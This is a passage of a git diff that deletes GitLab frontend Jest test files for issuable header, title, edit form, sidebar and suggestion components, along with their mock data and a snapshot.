- expect(wrapper.vm.autosaveDescription.reset).toHaveBeenCalled();
- });
- });
- });
-
- describe('template', () => {
- it('renders title input field', () => {
- const titleInputEl = wrapper.find('[data-testid="title"]');
-
- expect(titleInputEl.exists()).toBe(true);
- expect(titleInputEl.find(GlFormInput).attributes()).toMatchObject({
- 'aria-label': 'Title',
- placeholder: 'Title',
- });
- });
-
- it('renders description textarea field', () => {
- const descriptionEl = wrapper.find('[data-testid="description"]');
-
- expect(descriptionEl.exists()).toBe(true);
- expect(descriptionEl.find(MarkdownField).props()).toMatchObject({
- markdownPreviewPath: issuableEditFormProps.descriptionPreviewPath,
- markdownDocsPath: issuableEditFormProps.descriptionHelpPath,
- enableAutocomplete: issuableEditFormProps.enableAutocomplete,
- textareaValue: mockIssuable.description,
- });
- expect(descriptionEl.find('textarea').attributes()).toMatchObject({
- 'data-supports-quick-actions': 'true',
- 'aria-label': 'Description',
- placeholder: 'Write a comment or drag your files here…',
- });
- });
-
- it('renders form actions', () => {
- const actionsEl = wrapper.find('[data-testid="actions"]');
-
- expect(actionsEl.find('button.js-save').exists()).toBe(true);
- expect(actionsEl.find('button.js-cancel').exists()).toBe(true);
- });
-
- describe('events', () => {
- const eventObj = {
- preventDefault: jest.fn(),
- stopPropagation: jest.fn(),
- };
-
- it('component emits `keydown-title` event with event object and issuableMeta params via gl-form-input', async () => {
- const titleInputEl = wrapper.find(GlFormInput);
-
- titleInputEl.vm.$emit('keydown', eventObj, 'title');
-
- expect(wrapper.emitted('keydown-title')).toBeTruthy();
- expect(wrapper.emitted('keydown-title')[0]).toMatchObject([
- eventObj,
- {
- issuableTitle: wrapper.vm.title,
- issuableDescription: wrapper.vm.description,
- },
- ]);
- });
-
- it('component emits `keydown-description` event with event object and issuableMeta params via textarea', async () => {
- const descriptionInputEl = wrapper.find('[data-testid="description"] textarea');
-
- descriptionInputEl.trigger('keydown', eventObj, 'description');
-
- expect(wrapper.emitted('keydown-description')).toBeTruthy();
- expect(wrapper.emitted('keydown-description')[0]).toMatchObject([
- eventObj,
- {
- issuableTitle: wrapper.vm.title,
- issuableDescription: wrapper.vm.description,
- },
- ]);
- });
- });
- });
-});
diff --git a/spec/frontend/issuable_show/components/issuable_header_spec.js b/spec/frontend/issuable_show/components/issuable_header_spec.js
deleted file mode 100644
index b85f2dd1999..00000000000
--- a/spec/frontend/issuable_show/components/issuable_header_spec.js
+++ /dev/null
@@ -1,182 +0,0 @@
-import { GlIcon, GlAvatarLabeled } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
-
-import IssuableHeader from '~/issuable_show/components/issuable_header.vue';
-
-import { mockIssuableShowProps, mockIssuable } from '../mock_data';
-
-const issuableHeaderProps = {
- ...mockIssuable,
- ...mockIssuableShowProps,
-};
-
-const createComponent = (propsData = issuableHeaderProps, { stubs } = {}) =>
- extendedWrapper(
- shallowMount(IssuableHeader, {
- propsData,
- slots: {
- 'status-badge': 'Open',
- 'header-actions': `
- <button class="js-close">Close issuable</button>
- <a class="js-new" href="/gitlab-org/gitlab-shell/-/issues/new">New issuable</a>
- `,
- },
- stubs,
- }),
- );
-
-describe('IssuableHeader', () => {
- let wrapper;
-
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('computed', () => {
- describe('authorId', () => {
- it('returns numeric ID from GraphQL ID of `author` prop', () => {
- expect(wrapper.vm.authorId).toBe(1);
- });
- });
- });
-
- describe('handleRightSidebarToggleClick', () => {
- beforeEach(() => {
- setFixtures('<button class="js-toggle-right-sidebar-button">Collapse sidebar</button>');
- });
-
- it('dispatches `click` event on sidebar toggle button', () => {
- wrapper.vm.toggleSidebarButtonEl = document.querySelector('.js-toggle-right-sidebar-button');
- jest.spyOn(wrapper.vm.toggleSidebarButtonEl, 'dispatchEvent').mockImplementation(jest.fn);
-
- wrapper.vm.handleRightSidebarToggleClick();
-
- expect(wrapper.vm.toggleSidebarButtonEl.dispatchEvent).toHaveBeenCalledWith(
- expect.objectContaining({
- type: 'click',
- }),
- );
- });
- });
-
- describe('template', () => {
- it('renders issuable status icon and text', () => {
- const statusBoxEl = wrapper.findByTestId('status');
-
- expect(statusBoxEl.exists()).toBe(true);
- expect(statusBoxEl.find(GlIcon).props('name')).toBe(mockIssuableShowProps.statusIcon);
- expect(statusBoxEl.text()).toContain('Open');
- });
-
- it('renders blocked icon when issuable is blocked', async () => {
- wrapper.setProps({
- blocked: true,
- });
-
- await wrapper.vm.$nextTick();
-
- const blockedEl = wrapper.findByTestId('blocked');
-
- expect(blockedEl.exists()).toBe(true);
- expect(blockedEl.find(GlIcon).props('name')).toBe('lock');
- });
-
- it('renders confidential icon when issuable is confidential', async () => {
- wrapper.setProps({
- confidential: true,
- });
-
- await wrapper.vm.$nextTick();
-
- const confidentialEl = wrapper.findByTestId('confidential');
-
- expect(confidentialEl.exists()).toBe(true);
- expect(confidentialEl.find(GlIcon).props('name')).toBe('eye-slash');
- });
-
- it('renders issuable author avatar', () => {
- const { username, name, webUrl, avatarUrl } = mockIssuable.author;
- const avatarElAttrs = {
- 'data-user-id': '1',
- 'data-username': username,
- 'data-name': name,
- href: webUrl,
- target: '_blank',
- };
- const avatarEl = wrapper.findByTestId('avatar');
- expect(avatarEl.exists()).toBe(true);
- expect(avatarEl.attributes()).toMatchObject(avatarElAttrs);
- expect(avatarEl.find(GlAvatarLabeled).attributes()).toMatchObject({
- size: '24',
- src: avatarUrl,
- label: name,
- });
- expect(avatarEl.find(GlAvatarLabeled).find(GlIcon).exists()).toBe(false);
- });
-
- it('renders tast status text when `taskCompletionStatus` prop is defined', () => {
- let taskStatusEl = wrapper.findByTestId('task-status');
-
- expect(taskStatusEl.exists()).toBe(true);
- expect(taskStatusEl.text()).toContain('0 of 5 tasks completed');
-
- const wrapperSingleTask = createComponent({
- ...issuableHeaderProps,
- taskCompletionStatus: {
- completedCount: 0,
- count: 1,
- },
- });
-
- taskStatusEl = wrapperSingleTask.findByTestId('task-status');
-
- expect(taskStatusEl.text()).toContain('0 of 1 task completed');
-
- wrapperSingleTask.destroy();
- });
-
- it('renders sidebar toggle button', () => {
- const toggleButtonEl = wrapper.findByTestId('sidebar-toggle');
-
- expect(toggleButtonEl.exists()).toBe(true);
- expect(toggleButtonEl.props('icon')).toBe('chevron-double-lg-left');
- });
-
- it('renders header actions', () => {
- const actionsEl = wrapper.findByTestId('header-actions');
-
- expect(actionsEl.find('button.js-close').exists()).toBe(true);
- expect(actionsEl.find('a.js-new').exists()).toBe(true);
- });
-
- describe('when author exists outside of GitLab', () => {
- it("renders 'external-link' icon in avatar label", () => {
- wrapper = createComponent(
- {
- ...issuableHeaderProps,
- author: {
- ...issuableHeaderProps.author,
- webUrl: 'https://jira.com/test-user/author.jpg',
- },
- },
- {
- stubs: {
- GlAvatarLabeled,
- },
- },
- );
-
- const avatarEl = wrapper.findComponent(GlAvatarLabeled);
- const icon = avatarEl.find(GlIcon);
-
- expect(icon.exists()).toBe(true);
- expect(icon.props('name')).toBe('external-link');
- });
- });
- });
-});
diff --git a/spec/frontend/issuable_show/components/issuable_show_root_spec.js b/spec/frontend/issuable_show/components/issuable_show_root_spec.js
deleted file mode 100644
index 7ad409c3a74..00000000000
--- a/spec/frontend/issuable_show/components/issuable_show_root_spec.js
+++ /dev/null
@@ -1,158 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-
-import IssuableBody from '~/issuable_show/components/issuable_body.vue';
-import IssuableHeader from '~/issuable_show/components/issuable_header.vue';
-import IssuableShowRoot from '~/issuable_show/components/issuable_show_root.vue';
-
-import IssuableSidebar from '~/issuable_sidebar/components/issuable_sidebar_root.vue';
-
-import { mockIssuableShowProps, mockIssuable } from '../mock_data';
-
-const createComponent = (propsData = mockIssuableShowProps) =>
- shallowMount(IssuableShowRoot, {
- propsData,
- stubs: {
- IssuableHeader,
- IssuableBody,
- IssuableSidebar,
- },
- slots: {
- 'status-badge': 'Open',
- 'header-actions': `
- <button class="js-close">Close issuable</button>
- <a class="js-new" href="/gitlab-org/gitlab-shell/-/issues/new">New issuable</a>
- `,
- 'edit-form-actions': `
- <button class="js-save">Save changes</button>
- <button class="js-cancel">Cancel</button>
- `,
- 'right-sidebar-items': `
- <div class="js-todo">
- To Do <button class="js-add-todo">Add a To Do</button>
- </div>
- `,
- },
- });
-
-describe('IssuableShowRoot', () => {
- let wrapper;
-
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('template', () => {
- const {
- statusBadgeClass,
- statusIcon,
- enableEdit,
- enableAutocomplete,
- editFormVisible,
- descriptionPreviewPath,
- descriptionHelpPath,
- taskCompletionStatus,
- } = mockIssuableShowProps;
- const { blocked, confidential, createdAt, author } = mockIssuable;
-
- it('renders component container element with class `issuable-show-container`', () => {
- expect(wrapper.classes()).toContain('issuable-show-container');
- });
-
- it('renders issuable-header component', () => {
- const issuableHeader = wrapper.find(IssuableHeader);
-
- expect(issuableHeader.exists()).toBe(true);
- expect(issuableHeader.props()).toMatchObject({
- statusBadgeClass,
- statusIcon,
- blocked,
- confidential,
- createdAt,
- author,
- taskCompletionStatus,
- });
- expect(issuableHeader.find('.issuable-status-box').text()).toContain('Open');
- expect(issuableHeader.find('.detail-page-header-actions button.js-close').exists()).toBe(
- true,
- );
- expect(issuableHeader.find('.detail-page-header-actions a.js-new').exists()).toBe(true);
- });
-
- it('renders issuable-body component', () => {
- const issuableBody = wrapper.find(IssuableBody);
-
- expect(issuableBody.exists()).toBe(true);
- expect(issuableBody.props()).toMatchObject({
- issuable: mockIssuable,
- statusBadgeClass,
- statusIcon,
- enableEdit,
- enableAutocomplete,
- editFormVisible,
- descriptionPreviewPath,
- descriptionHelpPath,
- });
- });
-
- it('renders issuable-sidebar component', () => {
- const issuableSidebar = wrapper.find(IssuableSidebar);
-
- expect(issuableSidebar.exists()).toBe(true);
- });
-
- describe('events', () => {
- it('component emits `edit-issuable` event bubbled via issuable-body', () => {
- const issuableBody = wrapper.find(IssuableBody);
-
- issuableBody.vm.$emit('edit-issuable');
-
- expect(wrapper.emitted('edit-issuable')).toBeTruthy();
- });
-
- it('component emits `task-list-update-success` event bubbled via issuable-body', () => {
- const issuableBody = wrapper.find(IssuableBody);
- const eventParam = {
- foo: 'bar',
- };
-
- issuableBody.vm.$emit('task-list-update-success', eventParam);
-
- expect(wrapper.emitted('task-list-update-success')).toBeTruthy();
- expect(wrapper.emitted('task-list-update-success')[0]).toEqual([eventParam]);
- });
-
- it('component emits `task-list-update-failure` event bubbled via issuable-body', () => {
- const issuableBody = wrapper.find(IssuableBody);
-
- issuableBody.vm.$emit('task-list-update-failure');
-
- expect(wrapper.emitted('task-list-update-failure')).toBeTruthy();
- });
-
- it.each(['keydown-title', 'keydown-description'])(
- 'component emits `%s` event with event object and issuableMeta params via issuable-body',
- (eventName) => {
- const eventObj = {
- preventDefault: jest.fn(),
- stopPropagation: jest.fn(),
- };
- const issuableMeta = {
- issuableTitle: 'foo',
- issuableDescription: 'foobar',
- };
-
- const issuableBody = wrapper.find(IssuableBody);
-
- issuableBody.vm.$emit(eventName, eventObj, issuableMeta);
-
- expect(wrapper.emitted(eventName)).toBeTruthy();
- expect(wrapper.emitted(eventName)[0]).toMatchObject([eventObj, issuableMeta]);
- },
- );
- });
- });
-});
diff --git a/spec/frontend/issuable_show/components/issuable_title_spec.js b/spec/frontend/issuable_show/components/issuable_title_spec.js
deleted file mode 100644
index df6fbdea76b..00000000000
--- a/spec/frontend/issuable_show/components/issuable_title_spec.js
+++ /dev/null
@@ -1,100 +0,0 @@
-import { GlIcon, GlButton, GlIntersectionObserver } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-
-import IssuableTitle from '~/issuable_show/components/issuable_title.vue';
-
-import { mockIssuableShowProps, mockIssuable } from '../mock_data';
-
-const issuableTitleProps = {
- issuable: mockIssuable,
- ...mockIssuableShowProps,
-};
-
-const createComponent = (propsData = issuableTitleProps) =>
- shallowMount(IssuableTitle, {
- propsData,
- stubs: {
- transition: true,
- },
- slots: {
- 'status-badge': 'Open',
- },
- directives: {
- GlTooltip: createMockDirective(),
- },
- });
-
-describe('IssuableTitle', () => {
- let wrapper;
-
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('methods', () => {
- describe('handleTitleAppear', () => {
- it('sets value of `stickyTitleVisible` prop to false', () => {
- wrapper.find(GlIntersectionObserver).vm.$emit('appear');
-
- expect(wrapper.vm.stickyTitleVisible).toBe(false);
- });
- });
-
- describe('handleTitleDisappear', () => {
- it('sets value of `stickyTitleVisible` prop to true', () => {
- wrapper.find(GlIntersectionObserver).vm.$emit('disappear');
-
- expect(wrapper.vm.stickyTitleVisible).toBe(true);
- });
- });
- });
-
- describe('template', () => {
- it('renders issuable title', async () => {
- const wrapperWithTitle = createComponent({
- ...mockIssuableShowProps,
- issuable: {
- ...mockIssuable,
- titleHtml: '<b>Sample</b> title',
- },
- });
-
- await wrapperWithTitle.vm.$nextTick();
- const titleEl = wrapperWithTitle.find('h2');
-
- expect(titleEl.exists()).toBe(true);
- expect(titleEl.html()).toBe('<h2 dir="auto" class="title qa-title"><b>Sample</b> title</h2>');
-
- wrapperWithTitle.destroy();
- });
-
- it('renders edit button', () => {
- const editButtonEl = wrapper.find(GlButton);
- const tooltip = getBinding(editButtonEl.element, 'gl-tooltip');
-
- expect(editButtonEl.exists()).toBe(true);
- expect(editButtonEl.props('icon')).toBe('pencil');
- expect(editButtonEl.attributes('title')).toBe('Edit title and description');
- expect(tooltip).toBeDefined();
- });
-
- it('renders sticky header when `stickyTitleVisible` prop is true', async () => {
- wrapper.setData({
- stickyTitleVisible: true,
- });
-
- await wrapper.vm.$nextTick();
- const stickyHeaderEl = wrapper.find('[data-testid="header"]');
-
- expect(stickyHeaderEl.exists()).toBe(true);
- expect(stickyHeaderEl.find(GlIcon).props('name')).toBe(issuableTitleProps.statusIcon);
- expect(stickyHeaderEl.text()).toContain('Open');
- expect(stickyHeaderEl.text()).toContain(issuableTitleProps.issuable.title);
- });
- });
-});
diff --git a/spec/frontend/issuable_show/mock_data.js b/spec/frontend/issuable_show/mock_data.js
deleted file mode 100644
index 986d32b4982..00000000000
--- a/spec/frontend/issuable_show/mock_data.js
+++ /dev/null
@@ -1,45 +0,0 @@
-import { mockIssuable as issuable } from '../issuable_list/mock_data';
-
-export const mockIssuable = {
- ...issuable,
- id: 'gid://gitlab/Issue/30',
- title: 'Sample title',
- titleHtml: 'Sample title',
- description: '# Summary',
- descriptionHtml:
- '<h1 data-sourcepos="1:1-1:25" dir="auto">&#x000A;<a id="user-content-magnoque-it-lurida-deus" class="anchor" href="#magnoque-it-lurida-deus" aria-hidden="true"></a>Summary</h1>',
- state: 'opened',
- blocked: false,
- confidential: false,
- updatedBy: issuable.author,
- type: 'ISSUE',
- currentUserTodos: {
- nodes: [
- {
- id: 'gid://gitlab/Todo/489',
- state: 'done',
- },
- ],
- },
-};
-
-export const mockIssuableShowProps = {
- issuable: mockIssuable,
- descriptionHelpPath: '/help/user/markdown',
- descriptionPreviewPath: '/gitlab-org/gitlab-shell/preview_markdown',
- taskListUpdatePath: `${mockIssuable.webUrl}.json`,
- taskListLockVersion: 1,
- editFormVisible: false,
- enableAutocomplete: true,
- enableAutosave: true,
- enableZenMode: true,
- enableTaskList: true,
- enableEdit: true,
- showFieldTitle: false,
- statusBadgeClass: 'status-box-open',
- statusIcon: 'issue-open-m',
- taskCompletionStatus: {
- completedCount: 0,
- count: 5,
- },
-};
diff --git a/spec/frontend/issuable_sidebar/components/issuable_sidebar_root_spec.js b/spec/frontend/issuable_sidebar/components/issuable_sidebar_root_spec.js
deleted file mode 100644
index c872925cca2..00000000000
--- a/spec/frontend/issuable_sidebar/components/issuable_sidebar_root_spec.js
+++ /dev/null
@@ -1,131 +0,0 @@
-import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
-import Cookies from 'js-cookie';
-import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
-
-import IssuableSidebarRoot from '~/issuable_sidebar/components/issuable_sidebar_root.vue';
-import { USER_COLLAPSED_GUTTER_COOKIE } from '~/issuable_sidebar/constants';
-
-const MOCK_LAYOUT_PAGE_CLASS = 'layout-page';
-
-const createComponent = () => {
- setFixtures(`<div class="${MOCK_LAYOUT_PAGE_CLASS}"></div>`);
-
- return shallowMountExtended(IssuableSidebarRoot, {
- slots: {
- 'right-sidebar-items': `
- <button class="js-todo">Todo</button>
- `,
- },
- });
-};
-
-describe('IssuableSidebarRoot', () => {
- let wrapper;
-
- const findToggleSidebarButton = () => wrapper.findByTestId('toggle-right-sidebar-button');
-
- const assertPageLayoutClasses = ({ isExpanded }) => {
- const { classList } = document.querySelector(`.${MOCK_LAYOUT_PAGE_CLASS}`);
- if (isExpanded) {
- expect(classList).toContain('right-sidebar-expanded');
- expect(classList).not.toContain('right-sidebar-collapsed');
- } else {
- expect(classList).toContain('right-sidebar-collapsed');
- expect(classList).not.toContain('right-sidebar-expanded');
- }
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('when sidebar is expanded', () => {
- beforeEach(() => {
- jest.spyOn(Cookies, 'set').mockImplementation(jest.fn());
- jest.spyOn(Cookies, 'get').mockReturnValue(false);
- jest.spyOn(bp, 'isDesktop').mockReturnValue(true);
-
- wrapper = createComponent();
- });
-
- it('renders component container element with class `right-sidebar-expanded`', () => {
- expect(wrapper.classes()).toContain('right-sidebar-expanded');
- });
-
- it('sets layout class to reflect expanded state', () => {
- assertPageLayoutClasses({ isExpanded: true });
- });
-
- it('renders sidebar toggle button with text and icon', () => {
- const buttonEl = findToggleSidebarButton();
-
- expect(buttonEl.exists()).toBe(true);
- expect(buttonEl.attributes('title')).toBe('Toggle sidebar');
- expect(buttonEl.find('span').text()).toBe('Collapse sidebar');
- expect(wrapper.findByTestId('icon-collapse').isVisible()).toBe(true);
- });
-
- describe('when collapsing the sidebar', () => {
- it('updates "collapsed_gutter" cookie value and layout classes', async () => {
- await findToggleSidebarButton().trigger('click');
-
- expect(Cookies.set).toHaveBeenCalledWith(USER_COLLAPSED_GUTTER_COOKIE, true);
- assertPageLayoutClasses({ isExpanded: false });
- });
- });
-
- describe('when window `resize` event is triggered', () => {
- it.each`
- breakpoint | isExpandedValue
- ${'xs'} | ${false}
- ${'sm'} | ${false}
- ${'md'} | ${false}
- ${'lg'} | ${true}
- ${'xl'} | ${true}
- `(
- 'sets page layout classes correctly when current screen size is `$breakpoint`',
- async ({ breakpoint, isExpandedValue }) => {
- jest.spyOn(bp, 'isDesktop').mockReturnValue(breakpoint === 'lg' || breakpoint === 'xl');
-
- window.dispatchEvent(new Event('resize'));
- await wrapper.vm.$nextTick();
-
- assertPageLayoutClasses({ isExpanded: isExpandedValue });
- },
- );
- });
- });
-
- describe('when sidebar is collapsed', () => {
- beforeEach(() => {
- jest.spyOn(Cookies, 'get').mockReturnValue(true);
-
- wrapper = createComponent();
- });
-
- it('renders component container element with class `right-sidebar-collapsed`', () => {
- expect(wrapper.classes()).toContain('right-sidebar-collapsed');
- });
-
- it('sets layout class to reflect collapsed state', () => {
- assertPageLayoutClasses({ isExpanded: false });
- });
-
- it('renders sidebar toggle button with text and icon', () => {
- const buttonEl = findToggleSidebarButton();
-
- expect(buttonEl.exists()).toBe(true);
- expect(buttonEl.attributes('title')).toBe('Toggle sidebar');
- expect(wrapper.findByTestId('icon-expand').isVisible()).toBe(true);
- });
- });
-
- it('renders slotted sidebar items', () => {
- wrapper = createComponent();
-
- const sidebarItemsEl = wrapper.findByTestId('sidebar-items');
-
- expect(sidebarItemsEl.exists()).toBe(true);
- expect(sidebarItemsEl.find('button.js-todo').exists()).toBe(true);
- });
-});
diff --git a/spec/frontend/issuable_spec.js b/spec/frontend/issuable_spec.js
deleted file mode 100644
index e0bd7b802c9..00000000000
--- a/spec/frontend/issuable_spec.js
+++ /dev/null
@@ -1,22 +0,0 @@
-import issuableInitBulkUpdateSidebar from '~/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar';
-import IssuableIndex from '~/issuable_index';
-
-describe('Issuable', () => {
- describe('initBulkUpdate', () => {
- it('should not set bulkUpdateSidebar', () => {
- new IssuableIndex('issue_'); // eslint-disable-line no-new
-
- expect(issuableInitBulkUpdateSidebar.bulkUpdateSidebar).toBeNull();
- });
-
- it('should set bulkUpdateSidebar', () => {
- const element = document.createElement('div');
- element.classList.add('issues-bulk-update');
- document.body.appendChild(element);
-
- new IssuableIndex('issue_'); // eslint-disable-line no-new
-
- expect(issuableInitBulkUpdateSidebar.bulkUpdateSidebar).toBeDefined();
- });
- });
-});
diff --git a/spec/frontend/issuable_suggestions/components/app_spec.js b/spec/frontend/issuable_suggestions/components/app_spec.js
deleted file mode 100644
index fb8ef00567c..00000000000
--- a/spec/frontend/issuable_suggestions/components/app_spec.js
+++ /dev/null
@@ -1,100 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import App from '~/issuable_suggestions/components/app.vue';
-import Suggestion from '~/issuable_suggestions/components/item.vue';
-
-describe('Issuable suggestions app component', () => {
- let wrapper;
-
- function createComponent(search = 'search') {
- wrapper = shallowMount(App, {
- propsData: {
- search,
- projectPath: 'project',
- },
- });
- }
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('does not render with empty search', () => {
- wrapper.setProps({ search: '' });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.isVisible()).toBe(false);
- });
- });
-
- describe('with data', () => {
- let data;
-
- beforeEach(() => {
- data = { issues: [{ id: 1 }, { id: 2 }] };
- });
-
- it('renders component', () => {
- wrapper.setData(data);
-
- return wrapper.vm.$nextTick(() => {
- expect(wrapper.findAll('li').length).toBe(data.issues.length);
- });
- });
-
- it('does not render with empty search', () => {
- wrapper.setProps({ search: '' });
- wrapper.setData(data);
-
- return wrapper.vm.$nextTick(() => {
- expect(wrapper.isVisible()).toBe(false);
- });
- });
-
- it('does not render when loading', () => {
- wrapper.setData({
- ...data,
- loading: 1,
- });
-
- return wrapper.vm.$nextTick(() => {
- expect(wrapper.isVisible()).toBe(false);
- });
- });
-
- it('does not render with empty issues data', () => {
- wrapper.setData({ issues: [] });
-
- return wrapper.vm.$nextTick(() => {
- expect(wrapper.isVisible()).toBe(false);
- });
- });
-
- it('renders list of issues', () => {
- wrapper.setData(data);
-
- return wrapper.vm.$nextTick(() => {
- expect(wrapper.findAll(Suggestion).length).toBe(2);
- });
- });
-
- it('adds margin class to first item', () => {
- wrapper.setData(data);
-
- return wrapper.vm.$nextTick(() => {
- expect(wrapper.findAll('li').at(0).classes()).toContain('gl-mb-3');
- });
- });
-
- it('does not add margin class to last item', () => {
- wrapper.setData(data);
-
- return wrapper.vm.$nextTick(() => {
- expect(wrapper.findAll('li').at(1).classes()).not.toContain('gl-mb-3');
- });
- });
- });
-});
diff --git a/spec/frontend/issuable_suggestions/components/item_spec.js b/spec/frontend/issuable_suggestions/components/item_spec.js
deleted file mode 100644
index 45f96103e3e..00000000000
--- a/spec/frontend/issuable_suggestions/components/item_spec.js
+++ /dev/null
@@ -1,132 +0,0 @@
-import { GlTooltip, GlLink, GlIcon } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import { TEST_HOST } from 'helpers/test_constants';
-import Suggestion from '~/issuable_suggestions/components/item.vue';
-import UserAvatarImage from '~/vue_shared/components/user_avatar/user_avatar_image.vue';
-import mockData from '../mock_data';
-
-describe('Issuable suggestions suggestion component', () => {
- let wrapper;
-
- function createComponent(suggestion = {}) {
- wrapper = shallowMount(Suggestion, {
- propsData: {
- suggestion: {
- ...mockData(),
- ...suggestion,
- },
- },
- });
- }
-
- const findLink = () => wrapper.findComponent(GlLink);
- const findAuthorLink = () => wrapper.findAll(GlLink).at(1);
- const findIcon = () => wrapper.findComponent(GlIcon);
- const findTooltip = () => wrapper.findComponent(GlTooltip);
- const findUserAvatar = () => wrapper.findComponent(UserAvatarImage);
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders title', () => {
- createComponent();
-
- expect(wrapper.text()).toContain('Test issue');
- });
-
- it('renders issue link', () => {
- createComponent();
-
- expect(findLink().attributes('href')).toBe(`${TEST_HOST}/test/issue/1`);
- });
-
- it('renders IID', () => {
- createComponent();
-
- expect(wrapper.text()).toContain('#1');
- });
-
- describe('opened state', () => {
- it('renders icon', () => {
- createComponent();
-
- expect(findIcon().props('name')).toBe('issue-open-m');
- expect(findIcon().attributes('class')).toMatch('gl-text-green-500');
- });
-
- it('renders created timeago', () => {
- createComponent({
- closedAt: '',
- });
-
- expect(findTooltip().text()).toContain('Opened');
- expect(findTooltip().text()).toContain('3 days ago');
- });
- });
-
- describe('closed state', () => {
- it('renders icon', () => {
- createComponent({
- state: 'closed',
- });
-
- expect(findIcon().props('name')).toBe('issue-close');
- expect(findIcon().attributes('class')).toMatch('gl-text-blue-500');
- });
-
- it('renders closed timeago', () => {
- createComponent();
-
- expect(findTooltip().text()).toContain('Opened');
- expect(findTooltip().text()).toContain('1 day ago');
- });
- });
-
- describe('author', () => {
- it('renders author info', () => {
- createComponent();
-
- expect(findAuthorLink().text()).toContain('Author Name');
- expect(findAuthorLink().text()).toContain('@author.username');
- });
-
- it('renders author image', () => {
- createComponent();
-
- expect(findUserAvatar().props('imgSrc')).toBe(`${TEST_HOST}/avatar`);
- });
- });
-
- describe('counts', () => {
- it('renders upvotes count', () => {
- createComponent();
-
- const count = wrapper.findAll('.suggestion-counts span').at(0);
-
- expect(count.text()).toContain('1');
- expect(count.find(GlIcon).props('name')).toBe('thumb-up');
- });
-
- it('renders notes count', () => {
- createComponent();
-
- const count = wrapper.findAll('.suggestion-counts span').at(1);
-
- expect(count.text()).toContain('2');
- expect(count.find(GlIcon).props('name')).toBe('comment');
- });
- });
-
- describe('confidential', () => {
- it('renders confidential icon', () => {
- createComponent({
- confidential: true,
- });
-
- expect(findIcon().props('name')).toBe('eye-slash');
- expect(findIcon().attributes('class')).toMatch('gl-text-orange-500');
- expect(findIcon().attributes('title')).toBe('Confidential');
- });
- });
-});
diff --git a/spec/frontend/issuable_type_selector/components/__snapshots__/info_popover_spec.js.snap b/spec/frontend/issuable_type_selector/components/__snapshots__/info_popover_spec.js.snap
deleted file mode 100644
index 196fbb8a643..00000000000
--- a/spec/frontend/issuable_type_selector/components/__snapshots__/info_popover_spec.js.snap
+++ /dev/null
@@ -1,52 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Issuable type info popover renders 1`] = `
-<span
- id="popovercontainer"
->
- <gl-icon-stub
- class="gl-ml-5 gl-text-gray-500"
- id="issuable-type-info"
- name="question-o"
- size="16"
- />
-
- <gl-popover-stub
- container="popovercontainer"
- cssclasses=""
- target="issuable-type-info"
- title="Issue types"
- triggers="focus hover"
- >
- <ul
- class="gl-list-style-none gl-p-0 gl-m-0"
- >
- <li
- class="gl-mb-3"
- >
- <div
- class="gl-font-weight-bold"
- >
- Issue
- </div>
-
- <span>
- For general work
- </span>
- </li>
-
- <li>
- <div
- class="gl-font-weight-bold"
- >
- Incident
- </div>
-
- <span>
- For investigating IT service disruptions or outages
- </span>
- </li>
- </ul>
- </gl-popover-stub>
-</span>
-`;
diff --git a/spec/frontend/issuable_type_selector/components/info_popover_spec.js b/spec/frontend/issuable_type_selector/components/info_popover_spec.js
deleted file mode 100644
index 975977ffeb3..00000000000
--- a/spec/frontend/issuable_type_selector/components/info_popover_spec.js
+++ /dev/null
@@ -1,20 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import InfoPopover from '~/issuable_type_selector/components/info_popover.vue';
-
-describe('Issuable type info popover', () => {
- let wrapper;
-
- function createComponent() {
- wrapper = shallowMount(InfoPopover);
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders', () => {
- createComponent();
-
- expect(wrapper.element).toMatchSnapshot();
- });
-});
diff --git a/spec/frontend/issue_show/components/app_spec.js b/spec/frontend/issue_show/components/app_spec.js
deleted file mode 100644
index e32215b4aa6..00000000000
--- a/spec/frontend/issue_show/components/app_spec.js
+++ /dev/null
@@ -1,682 +0,0 @@
-import { GlIntersectionObserver } from '@gitlab/ui';
-import MockAdapter from 'axios-mock-adapter';
-import { nextTick } from 'vue';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import { mountExtended } from 'helpers/vue_test_utils_helper';
-import '~/behaviors/markdown/render_gfm';
-import IssuableApp from '~/issue_show/components/app.vue';
-import DescriptionComponent from '~/issue_show/components/description.vue';
-import IncidentTabs from '~/issue_show/components/incidents/incident_tabs.vue';
-import PinnedLinks from '~/issue_show/components/pinned_links.vue';
-import { IssuableStatus, IssuableStatusText, POLLING_DELAY } from '~/issue_show/constants';
-import eventHub from '~/issue_show/event_hub';
-import axios from '~/lib/utils/axios_utils';
-import { visitUrl } from '~/lib/utils/url_utility';
-import {
- appProps,
- initialRequest,
- publishedIncidentUrl,
- secondRequest,
- zoomMeetingUrl,
-} from '../mock_data/mock_data';
-
-function formatText(text) {
- return text.trim().replace(/\s\s+/g, ' ');
-}
-
-jest.mock('~/lib/utils/url_utility');
-jest.mock('~/issue_show/event_hub');
-
-const REALTIME_REQUEST_STACK = [initialRequest, secondRequest];
-
-describe('Issuable output', () => {
- let mock;
- let realtimeRequestCount = 0;
- let wrapper;
-
- const findStickyHeader = () => wrapper.findByTestId('issue-sticky-header');
- const findLockedBadge = () => wrapper.findByTestId('locked');
